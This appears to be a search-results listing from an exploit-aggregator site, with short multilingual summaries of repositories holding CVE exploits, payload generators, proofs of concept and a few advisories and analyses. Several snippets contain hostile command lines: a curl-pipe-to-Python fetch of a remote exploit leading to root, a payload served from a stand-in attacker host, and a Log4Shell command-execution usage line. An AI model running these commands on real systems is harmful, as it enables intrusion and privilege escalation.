31116 matches found
play-go-copy-fail-cve-2026-31431
Play Go Copy Fail CVE-2026-31431 Propósito Aprender syscalls de Linux bajo nivel Portar Python y C a Golang Crear tu propio payload y explotarlo como novato Actualizar automáticamente la pty de forma manual Inspiración tgies/copy-fail-c painoob/Copy-Fail-Exploit-CVE-2026-31431 Recursos Código...
log4j-payload-generator
0x01 简介 log4j-payload-generator是 woodpecker框架 生产log4 jndi注入漏洞payload的插件。目前可以一键生产以下5类payload。 1. 原始payload 2. upper|lower:x类型随机混payload 3. upper|lower:x全混淆payload 4. ::-n类型随机混淆payload 5. ::-n类型全混淆payload 0x02 参考 https://github.com/whwlsfb/Log4j2Scan...
CVE-2021-4034
CVE-2021-4034 Implementación enlazada estáticamente de CVE-2021-4034 basada en la de Blasty que no necesita gcc. payload.so está codificado desde payload.h y se escribe en el disco. Binario compilado estáticamente incluido por conveniencia. PoC original y autor...
CVE-2026-24291
CVE-2026-24291 RegPwn（https://www.mdsec.co.uk/2026/03/rip-regpwn/）的混淆版本 新增额外功能：它将自动创建一个具有生成凭据的本地管理员账户。 您可以根据需要重新编译该载荷，以管理员身份执行代码。 步骤 - 编译 RegPwn 项目 - 在 Debug 文件夹中，放入 payload.exe 文件 - 直接执行 .exe 即可运行：Regpwn.exe（不带任何参数）...
TEST-CVE-2026-31431
TEST-CVE-2026-31431 root@kitploit: oc new-app -n default https://github.com/gmeghnag/TEST-CVE-2026-31431 oc rsh -n default deployment/test-cve-2026-31431 sh-5.1$ id uid=10011001 gid=0root groups=0root sh-5.1$ curl -s https://copy.fail/exp | python3.12 && su root@test-cve-2026-31431-78f6d9cc97-n7d...
CVE-2026-34621_PDF_SAMPLE
多阶段 Adobe Acrobat PDF JavaScript 样本技术分析 概述 本仓库发布了一篇以代码为中心的反向工程分析文章，针对一个嵌入了分阶段 Adobe Acrobat JavaScript 的恶意 PDF 样本。 该分析样本使用隐藏表单字段作为初始加载器，通过 Acrobat 流解码重建第二阶段 JavaScript 主体，执行环境侦察和 Acrobat 特定接口滥用，建立网络支持的暂存机制，最后解密、解压缩并执行延迟的第三阶段载荷。 本仓库的目标是防御性分析和文档记录。重点在于可观察行为、恢复的代码结构以及攻击链重建。 关键发现 该 PDF...
CVE-2021-41349
Microsoft Exchange 漏洞利用 CVE-2021-41349 利用：CVE-2021-41349 此利用工具会创建一个表单，用于向目标 Exchange 服务器提交 XSS 载荷。 你需要创建一个包含你所需操作的 js 文件。 使用方法 1. 创建你的 js 载荷，并将其上传到某个位置。 2. 按照以下步骤运行 CVE-2021-41349.py。 root@kitploit: python3 CVE-2021-41349.py "https://mail.target.com" "https://hacker.server/payload.js" out.html 或者...
CVE-2026-31280-Insecure-Bluetooth-RFCOMM-Leading-to-Device-Crash-in-Parani-M10-Intercom
CVE-2026-31280-不安全蓝牙RFCOMM导致Parani M10对讲机设备崩溃 Parani M10对讲机的蓝牙经典RFCOMM服务在未强制执行安全认证或适当访问控制的情况下暴露。一旦进入信号范围内，任何设备都可以在无适当配对限制的情况下建立连接，直接访问RFCOMM通道，或发送任意或畸形载荷 该漏洞的概念验证（PoC）记录在随附的PDF中，该PDF最初是为内部安全审查而提供给相应组织的。 发现者 - Nikhil YalgarCipherX1802 和 Tapadyuti Baral...
poc_CVE-2025-68613
PoC：n8n沙箱逃逸（CVE-2025-68613） 仅供教育目的 本概念验证展示了n8n中的一个严重漏洞（CVE-2025-68613）。请勿在非您拥有或未经明确许可的系统上使用。 漏洞概述 n8n 1.122.0 之前的版本包含一个远程代码执行（RCE）漏洞。已认证用户可以通过工作流表达式编辑器中的特定JavaScript负载绕过表达式沙箱，在宿主系统上执行任意代码。 1. 设置易受攻击环境 创建一个数据卷并运行易受攻击版本的n8n（例如v1.120.0）。 root@kitploit: Create volume for persistence docker volume...
CVE-2023-48022
CVE-2023-48022 CVE-2023-48022 漏洞利用程序，基于 Bishop Fox 的工作修改而来 使用方法 在 jobs.py 中设置 IP 和端口 在 malicious.py 中设置 payload $ pip install ray $ python3 jobs.py...
PT-2026-89685
Alt Text Endpoint Authorization Bypass via Payload Local API overrideAccess Omission Summary @jhb.software/payload-alt-text-plugin v0.7.0 exposes custom Payload CMS endpoints POST /api/alt-text-plugin/generate and /bulk that call the Payload Local API findByID and update without setting...
PT-2026-89421
ION-DTN before 4.2.1-a.1 contains a denial of service vulnerability that allows unauthenticated remote attackers to crash the ION process by sending a BPv7 bundle with a zero-length payload. The canonicalizePayloadBlock function in bpsec util.c passes bundle-payload.length to zco clone without...
AlmaLinux 10 : valkey (ALSA-2026:64796)
The remote AlmaLinux 10 host has packages installed that are affected by multiple vulnerabilities as referenced in the ALSA-2026:64796 advisory. redis: Redis: Remote Code Execution via specially crafted RESTORE payload CVE-2026-66373 valkey: Valkey: Remote code execution via use-after-free in...
PT-2026-89736
Alt Text Endpoint Authorization Bypass via Payload Local API overrideAccess Omission Summary @jhb.software/payload-alt-text-plugin v0.7.0 exposes custom Payload CMS endpoints POST /api/alt-text-plugin/generate and /bulk that call the Payload Local API findByID and update without setting...
soc-investigation-powershell-edrfreeze
PowerShell EDRFreeze Investigation LetsDefend Case Study This repository contains a documented SOC investigation based on a LetsDefend scenario involving suspicious PowerShell activity, a GitHub-hosted payload, and execution of the EDRFreeze tool. What this repository includes Full report:...
CVE-2026-1306
CVE-2026-1306 — midi-Synth WordPress PoC / ejecutor de listas multidiana basado en Python para CVE-2026-1306 en el plugin midi-Synth de WordPress. ¿Para qué sirve? Recopila el valor midiSynthnonce mediante HTTP desde las páginas donde se carga el shortcode midiSynth en los sitios objetivo. Envía...
CopyFail
A CopyFail CVE-2026-31431 implementation that isnt slop. Bring your own payload if you like...
L4sh
Log4Shell RCE 漏洞利用 完全独立的漏洞利用程序，不需要任何第三方二进制文件。 该漏洞利用程序会将有效载荷喷洒到所有可能被记录的 HTTP 标头，例如 X-Forwarding , Server-IP , User-Agent 使用方法 root@kitploit: python main.py -i lhost -u http://target:targetport -c "commandtoexecute" -p lhttpport -l lldapport 依赖要求 java-8-openjdk pip install -r requirements.txt...
CVE-2026-31431-exp
Adaptado de https://github.com/theori-io/copy-fail-CVE-2026-31431. Se han añadido características como cifrado y ofuscación del payload, escritura de caché para mejorar la estabilidad del sistema, chunks adaptativos, cero dependencias y soporte multiarquitectura x86, arm, i386, etc.. En teoría, s...